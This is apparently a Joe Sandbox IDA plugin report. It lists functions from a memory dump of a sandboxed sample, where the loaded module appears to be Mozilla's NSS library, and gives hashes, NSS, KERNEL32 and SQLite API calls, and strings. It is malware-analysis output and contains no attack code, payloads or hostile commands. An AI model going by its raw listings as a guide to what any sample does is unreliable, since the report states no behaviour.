Opcode Fuzzy Hash: f96f7691aa340dd9a08383cdca778023a6d8effdc125b7b255f10291b6d054b3
Instruction Fuzzy Hash: 9F117B71E002086BE7109B659C41BBF77B8DF9A24DF044228ED1987741F760E96886F2

Function 6CD08E80 Relevance: 7.6, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,?,6CD22E62,?,?,?,?,?,?,?,00000000,?,?,?,6CCF4F1C), ref: 6CD08EA2

Part of subcall function 6CD2F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CD2F854
Part of subcall function 6CD2F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CD2F868
Part of subcall function 6CD2F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CD2F882
Part of subcall function 6CD2F820: free.MOZGLUE(04C483FF,?,?), ref: 6CD2F889
Part of subcall function 6CD2F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CD2F8A4
Part of subcall function 6CD2F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CD2F8AB
Part of subcall function 6CD2F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CD2F8C9
Part of subcall function 6CD2F820: free.MOZGLUE(280F10EC,?,?), ref: 6CD2F8D0

PK11_IsLoggedIn.NSS3(?,?,?,6CD22E62,?,?,?,?,?,?,?,00000000,?,?,?,6CCF4F1C), ref: 6CD08EC3
TlsGetValue.KERNEL32(?,?,?,6CD22E62,?,?,?,?,?,?,?,00000000,?,?,?,6CCF4F1C), ref: 6CD08EDC
EnterCriticalSection.KERNEL32(?,?,?,?,6CD22E62,?,?,?,?,?,?,?,00000000,?,?), ref: 6CD08EF1
PR_Unlock.NSS3 ref: 6CD08F20

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$K11_$EnterInternalLoggedSlotUnlockValue
String ID:
API String ID: 1978757487-0
Opcode ID: 9b13cd3d74e31e670ec6680f0ee2f23f09d95572fa3f886fa07c17e2abe63d43
Instruction ID: 6a2f5985f68398f02f47e47583ae0ad0c1c07e2ef3b4310f54c69e848441d672
Opcode Fuzzy Hash: 9b13cd3d74e31e670ec6680f0ee2f23f09d95572fa3f886fa07c17e2abe63d43
Instruction Fuzzy Hash: B9216BB0A096059BD700AF39D48459ABBF0FF48318F01456EE9989BB51D730E854CBD2

Function 6CCF8FE0 Relevance: 7.6, APIs: 5, Instructions: 63threadCOMMON

Download Yara Rule

APIs

PR_GetThreadPrivate.NSS3(FFFFFFFF,?,6CD00710), ref: 6CCF8FF1
PR_CallOnce.NSS3(6CE42158,6CCF9150,00000000,?,?,?,6CCF9138,?,6CD00710), ref: 6CCF9029
calloc.MOZGLUE(00000001,00000000,?,?,6CD00710), ref: 6CCF904D
memcpy.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,6CD00710), ref: 6CCF9066
PR_SetThreadPrivate.NSS3(00000000,?,?,?,?,6CD00710), ref: 6CCF9078

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: PrivateThread$CallOncecallocmemcpy
String ID:
API String ID: 1176783091-0
Opcode ID: 0275334dd0ce2033aa172d22cc4f4da5528f8328ca9861c20bc869ed0a9515ed
Instruction ID: 385a66cafb6371014155c586f027a4076764579b95972b1f256ab3379573f42a
Opcode Fuzzy Hash: 0275334dd0ce2033aa172d22cc4f4da5528f8328ca9861c20bc869ed0a9515ed
Instruction Fuzzy Hash: 2D11E12170011167EFA02FAAAC44A6676A8EF867ACF500531FDA9C6F40F753CD4783A2

Function 6CD0CD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6CD21E10: TlsGetValue.KERNEL32 ref: 6CD21E36
Part of subcall function 6CD21E10: EnterCriticalSection.KERNEL32(?,?,?,6CCFB1EE,2404110F,?,?), ref: 6CD21E4B
Part of subcall function 6CD21E10: PR_Unlock.NSS3 ref: 6CD21E76

free.MOZGLUE(?,6CD0D079,00000000,00000001), ref: 6CD0CDA5
PK11_FreeSymKey.NSS3(?,6CD0D079,00000000,00000001), ref: 6CD0CDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6CD0D079,00000000,00000001), ref: 6CD0CDCF
DeleteCriticalSection.KERNEL32(?,6CD0D079,00000000,00000001), ref: 6CD0CDE2
free.MOZGLUE(?), ref: 6CD0CDE9

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: bf32e9f23a67d8085b1f32963d33b7bdb97a2da5c02e650522200ffbf9660c89
Instruction ID: b51e83fb6e10ca630631bf1cee3ef7842c847b968e5d8fa32d41c6a2c49a2da4
Opcode Fuzzy Hash: bf32e9f23a67d8085b1f32963d33b7bdb97a2da5c02e650522200ffbf9660c89
Instruction Fuzzy Hash: 8311A0B2B01129ABDB00AF69EC45996B73CFB442687104121EA09C7E21E732F464C7F2

Function 6CD72CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6CD75B40: PR_GetIdentitiesLayer.NSS3 ref: 6CD75B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CD72CEC

Part of subcall function 6CD8C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD8C2BF

PR_EnterMonitor.NSS3(?), ref: 6CD72D02
PR_EnterMonitor.NSS3(?), ref: 6CD72D1F
PR_ExitMonitor.NSS3(?), ref: 6CD72D42
PR_ExitMonitor.NSS3(?), ref: 6CD72D5B

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: 3ffd33ae7b2c8b8d3f80da8215907b602deb1bfff9ef68ac002db1c451a5d669
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: B401A1F1A00240EBE6309F66FC40B87B7A1EB8535CF004529E89986730E632E81586B2

Function 6CD72D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6CD75B40: PR_GetIdentitiesLayer.NSS3 ref: 6CD75B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CD72D9C

Part of subcall function 6CD8C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD8C2BF

PR_EnterMonitor.NSS3(?), ref: 6CD72DB2
PR_EnterMonitor.NSS3(?), ref: 6CD72DCF
PR_ExitMonitor.NSS3(?), ref: 6CD72DF2
PR_ExitMonitor.NSS3(?), ref: 6CD72E0B

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: ef115dce4e67326f0d33e104163f3b843fbd45d7d7baf2fca559415696a45b24
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: 9A01A5B1900240DFE6309F65FC41BC7B7A1EB4135CF000539E85986B30E632E81586B2

Function 6CD0AE30 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 6CCF3090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CD0AE42), ref: 6CCF30AA
Part of subcall function 6CCF3090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CCF30C7
Part of subcall function 6CCF3090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CCF30E5
Part of subcall function 6CCF3090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CCF3116
Part of subcall function 6CCF3090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CCF312B
Part of subcall function 6CCF3090: PK11_DestroyObject.NSS3(?,?), ref: 6CCF3154
Part of subcall function 6CCF3090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CCF317E

SECKEY_DestroyPublicKey.NSS3(00000000,?,00000000,?,6CCE99FF,?,?,?,?,?,?,?,?,?,6CCE2D6B,?), ref: 6CD0AE67
SECITEM_DupItem_Util.NSS3(-00000014,?,00000000,?,6CCE99FF,?,?,?,?,?,?,?,?,?,6CCE2D6B,?), ref: 6CD0AE7E
SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,6CCE2D6B,?,?,00000000), ref: 6CD0AE89
PK11_MakeIDFromPubKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,6CCE2D6B,?,?,00000000), ref: 6CD0AE96
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,6CCE2D6B,?,?), ref: 6CD0AEA3

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Util$DestroyItem_$Arena_K11_Public$AlgorithmAlloc_ArenaCopyFreeFromMakeObjectTag_Zfreememset
String ID:
API String ID: 754562246-0
Opcode ID: 433ac0c3e25e44c183cb61d3cacd13930f24bdf0ecc1943eeca3acd4e1094070
Instruction ID: 88723e3692345dcb6ab75e4c8ea6b4790c864ef9207e0ece365d198453a61045
Opcode Fuzzy Hash: 433ac0c3e25e44c183cb61d3cacd13930f24bdf0ecc1943eeca3acd4e1094070
Instruction Fuzzy Hash: 8501F4A2B0442097E7019B2CAC95AEF31588F9765CF080072E84DD7B21F722D90642E3

Function 6CDFBDB0 Relevance: 7.6, APIs: 5, Instructions: 51COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,6CDF7AFE,?,?,?,?,?,?,?,?,6CDF798A), ref: 6CDFBDC3
free.MOZGLUE(?,?,6CDF7AFE,?,?,?,?,?,?,?,?,6CDF798A), ref: 6CDFBDCA
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CDF7AFE,?,?,?,?,?,?,?,?,6CDF798A), ref: 6CDFBDE9
free.MOZGLUE(?,00000000,00000000,?,6CDF7AFE,?,?,?,?,?,?,?,?,6CDF798A), ref: 6CDFBE21
free.MOZGLUE(00000000,00000000,?,6CDF7AFE,?,?,?,?,?,?,?,?,6CDF798A), ref: 6CDFBE32

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: free$CriticalDeleteDestroyMonitorSection
String ID:
API String ID: 3662805584-0
Opcode ID: e60de6701b8f919080dacf0f8cc479c5a457c4a40f4f502c8a2471207a8b0af8
Instruction ID: fbcee29e36d7cd97a655a0978833a1f098f869772009cf3b3e6702f235f81e8e
Opcode Fuzzy Hash: e60de6701b8f919080dacf0f8cc479c5a457c4a40f4f502c8a2471207a8b0af8
Instruction Fuzzy Hash: A71118B5B012149FDF20EF69C809B023BF5BB6A35AB058069D51EC7B50E731E416CBA2

Function 6CDF7C60 Relevance: 7.5, APIs: 5, Instructions: 40stringthreadCOMMON

Download Yara Rule

APIs

PR_Free.NSS3(?), ref: 6CDF7C73
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CDF7C83
malloc.MOZGLUE(00000001), ref: 6CDF7C8D
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CDF7C9F
PR_GetCurrentThread.NSS3 ref: 6CDF7CAD

Part of subcall function 6CDA9BF0: TlsGetValue.KERNEL32(?,?,?,6CDF0A75), ref: 6CDA9C07

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: CurrentFreeThreadValuemallocstrcpystrlen
String ID:
API String ID: 105370314-0
Opcode ID: a41121ee362db340dc4cd9c79f8a52c664830709499a3d0bd0e2461fc078ae2c
Instruction ID: b590210c15533a54753a16464b08f87217da498e3b43f14f99105f06621652fc
Opcode Fuzzy Hash: a41121ee362db340dc4cd9c79f8a52c664830709499a3d0bd0e2461fc078ae2c
Instruction Fuzzy Hash: E4F0C2B19102167BEB00AF7ADC099977758FF00265B028535EC1DC7B20E731E516CAE5

Function 6CDFADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6CDFA6D8), ref: 6CDFAE0D
free.MOZGLUE(?), ref: 6CDFAE14
DeleteCriticalSection.KERNEL32(6CDFA6D8), ref: 6CDFAE36
free.MOZGLUE(?), ref: 6CDFAE3D
free.MOZGLUE(00000000,00000000,?,?,6CDFA6D8), ref: 6CDFAE47

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: c1fbd9f546415ce763a5b23d43e63b556c52830b2e022760ce908e2e78378204
Instruction ID: 0c61898b5600ca2ea3f891696601268d210ef46350f116b96d902c0f0bb73975
Opcode Fuzzy Hash: c1fbd9f546415ce763a5b23d43e63b556c52830b2e022760ce908e2e78378204
Instruction Fuzzy Hash: C8F0F676301A19ABCA209F68D8089177778BF867747100328E53EC3940D731F116D7D2

Function 6CC87C40 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 100COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A0D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CC87D35

Strings

%s at line %d of [%.10s], xrefs: 6CC87D2E
database corruption, xrefs: 6CC87D29
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CC87D13, 6CC87D1F, 6CC87D47, 6CC87D53, 6CC87D5F

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 029910c6566fc75e7cdfc92b4b3668fa640985cdc04f18e0608a33078797f0cd
Instruction ID: 23b4f9978140868457a0675b9a7d839d1ff5d668b9529f0587680909d9a9bdad
Opcode Fuzzy Hash: 029910c6566fc75e7cdfc92b4b3668fa640985cdc04f18e0608a33078797f0cd
Instruction Fuzzy Hash: E731F471F0522997C710CF9EC880ABABBF1AF48309B59019AF448B7B81F675E851D7B4

Function 6CC76C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6CC76D36

Strings

%s at line %d of [%.10s], xrefs: 6CC76D2F
database corruption, xrefs: 6CC76D2A
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CC76D20

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 0a5cfc128a40ca12a74bb6b3d60e41adb046a32b4b6df029d16ce8fbaac3e7b9
Instruction ID: d62d9cb71dae4a53f5ba7c510cafc5a1c9a9ff6ab69f1289cea7a76d7876ee79
Opcode Fuzzy Hash: 0a5cfc128a40ca12a74bb6b3d60e41adb046a32b4b6df029d16ce8fbaac3e7b9
Instruction Fuzzy Hash: CB212130614B049BC320CE1ACA41B5AB7F2FF94308F24856CD84A9BF51F370F94887A2

Function 6CDACC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6CDACD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6CDACC7B), ref: 6CDACD7A
Part of subcall function 6CDACD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CDACD8E
Part of subcall function 6CDACD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CDACDA5
Part of subcall function 6CDACD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CDACDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6CDACCB5
memcpy.VCRUNTIME140(6CE414F4,6CE402AC,00000090), ref: 6CDACCD3
memcpy.VCRUNTIME140(6CE41588,6CE402AC,00000090), ref: 6CDACD2B

Part of subcall function 6CCC9AC0: socket.WSOCK32(?,00000017,6CCC99BE), ref: 6CCC9AE6
Part of subcall function 6CCC9AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6CCC99BE), ref: 6CCC9AFC

Part of subcall function 6CCD0590: closesocket.WSOCK32(6CCC9A8F,?,?,6CCC9A8F,00000000), ref: 6CCD0597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6CDACCB0

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: 69282e7b85eff21113ff86f362a7bb8648fc8aa58ba045ee3ee8918f1bc05a8f
Instruction ID: eb4c59b7b77e63e7a53254538e25333051e8bdf5fec7c9ac4b95eb4ff93965fb
Opcode Fuzzy Hash: 69282e7b85eff21113ff86f362a7bb8648fc8aa58ba045ee3ee8918f1bc05a8f
Instruction Fuzzy Hash: F61187B1B002805EDF00AFD9DC067C236B8A34621CF129125E515CBB51E775C4278BD6

Function 6CC6A8E0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 44COMMON

Download Yara Rule

APIs

Part of subcall function 6CD9A480: _byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6CDBC3A2,?,?,00000000,00000000), ref: 6CD9A528
Part of subcall function 6CD9A480: sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011843,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CD9A6E0

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014576,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CC6A94F

Strings

%s at line %d of [%.10s], xrefs: 6CC6A948
database corruption, xrefs: 6CC6A943
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CC6A939

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
